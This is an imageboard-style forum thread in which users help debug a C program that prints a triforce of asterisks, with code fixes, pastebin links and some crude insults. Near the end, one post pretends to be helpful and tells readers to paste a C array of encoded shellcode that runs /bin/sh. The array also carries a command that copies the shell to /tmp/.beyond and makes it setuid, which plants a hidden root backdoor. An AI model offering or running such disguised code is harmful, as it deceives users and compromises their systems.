What is wrong with my program? Can somebody help? #include int count = 8; int main() { for(int tri_count = 1; tri_count < 3; tri_count++) { for(int i = 1; i < count; i++) {
for(int tc = 0; tc < tri_count; tc++) {
for(int sp_count = count; sp_count > i; sp_count--){ printf(" "); } for(int str_count = 0; str_count < i; str_count++) { printf("*"); } for(int str_count = 0; str_count < i; str_count++) { printf("*"); } for(int sp_count = count; sp_count > i; sp_count--){ printf(" "); } } printf("\n"); } } }
Attached: screenshot.png (263x196, 616)
April 30, 2019 - 00:33
FUCK YOU REEEE
Attached: screenshot.png (323x194, 687)
April 30, 2019 - 00:38
Hello friend!
Kindly refer to my solution posted below.
Have a nice day!
#include int main(void) { printf("\ *\n\ ***\n\ *****\n\ *******\n\ *********\n\ * *\n\ *** ***\n\ ***** *****\n\ ******* *******\n\ ********* *********\n\ "); }
April 30, 2019 - 00:52
the code should work post output?
April 30, 2019 - 00:58
the output is the screenshot
haha very nice mr troll
April 30, 2019 - 01:03
nvm figured it out.
Attached: .png (258x256, 72K)
April 30, 2019 - 01:04
your code looks like shit
April 30, 2019 - 01:04
maybe the printf("\n") should be inside the innermost nested loop
April 30, 2019 - 01:20
fuck you for making me waste my time
Attached: 1528937639381.png (398x314, 5K)
April 30, 2019 - 01:41
Don't necro threads. Use the search function. This user already found the answer
April 30, 2019 - 01:46
I would recommend using a big 2-d array and drawing the triangle in memory, that makes it easier to place where wanted.
After everything is placed in memory and extra spaces at end removed, then you can output scanline by scanline.
April 30, 2019 - 01:55
#include int count = 8; int main() { for(int tri_count = 1; tri_count < 3; tri_count++) { for(int i = 1; i < count; i++) {
for(int tc = 0; tc < tri_count; tc++) { int vcount = count; if (tri_count % 2 != 0) vcount = count * 2 + 1; for(int sp_count = count; sp_count > i; sp_count--){ printf(" "); } for(int str_count = 0; str_count < i; str_count++) { printf("*"); } for(int str_count = 0; str_count < i; str_count++) { printf("*"); } for(int sp_count = count; sp_count > i; sp_count--){ printf(" "); } } printf("\n"); } } } There you go OP. That should work.
April 30, 2019 - 02:25
#include int count = 8; int main() { for(int tri_count = 1; tri_count < 3; tri_count++) { for(int i = 1; i < count; i++) {
for(int tc = 0; tc < tri_count; tc++) { int vcount = count; if (tri_count % 2 != 0) vcount = count * 2 + 1; for(int sp_count = vcount; sp_count > i; sp_count--){ printf(" "); } for(int str_count = 0; str_count < i; str_count++) { printf("*"); } for(int str_count = 0; str_count < i; str_count++) { printf("*"); } for(int sp_count = vcount; sp_count > i; sp_count--){ printf(" "); } } printf("\n"); } } } I didn't update a couple of variables.
April 30, 2019 - 02:27
i tried it too, kept making boneheaded mistakes for a long time
pastebin.com /Re1AJ3mX
April 30, 2019 - 04:52
Sorry! line 44 should have been: if(i < n) streak(' ', H-h);
The bad code has extra spaces at the end of most lines.
April 30, 2019 - 05:01
Here's my own attempt at it pastebin.com /1S8GENjX
April 30, 2019 - 07:25
user, help me. What book should you recommend to learn C++? Bjarne? Prata? Lipman? Eckel? Deitel?
April 30, 2019 - 08:48
Hello, friend!! Linus is a known ex-lurker on Jow Forums, so he implemented a hidden command that draws a triforce on its own, no need to try doing it yourself! Just type the following:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
April 30, 2019 - 10:26
['ë>[1ÀPTZ\x83ìdh', 'ÿÿÿÿhßÐßÙh\x8d\x99', 'ß\x81h\x8d\x92ßÒT^÷\x16÷', 'V\x04÷V\x08÷V\x0c\x83ÄtV', '\x8ds\x08VSTY°\x0bÍ\x801', 'À@ëùè½ÿÿÿ/bi', 'n/sh\x00-c\x00']
April 30, 2019 - 11:08